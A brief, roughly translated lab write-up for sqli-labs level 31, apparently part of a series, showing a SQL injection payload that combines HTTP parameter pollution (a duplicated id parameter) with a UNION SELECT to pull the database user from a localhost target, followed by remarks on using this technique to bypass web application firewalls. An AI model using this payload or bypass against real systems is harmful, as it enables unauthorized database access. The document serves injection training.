Sqli-labs less 31

Less-31

Less-31 the same way as the above two examples, we directly see the LESS-31 SQL statement:

So payload is:

Http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2%22) Union%20select%201,user (), 3--+

Summary: From the above San Guan, our main learning is different server for the different processing of parameters, HPP has a lot of applications, not only we listed above the WAF one aspect, there can be repeated operations can be performed illegal operation and so on. At the same time, for the WAF bypass, we are just a point here, a lot of follow-up on the HPP methods need to study together. This is also a new direction.

Sqli-labs less 31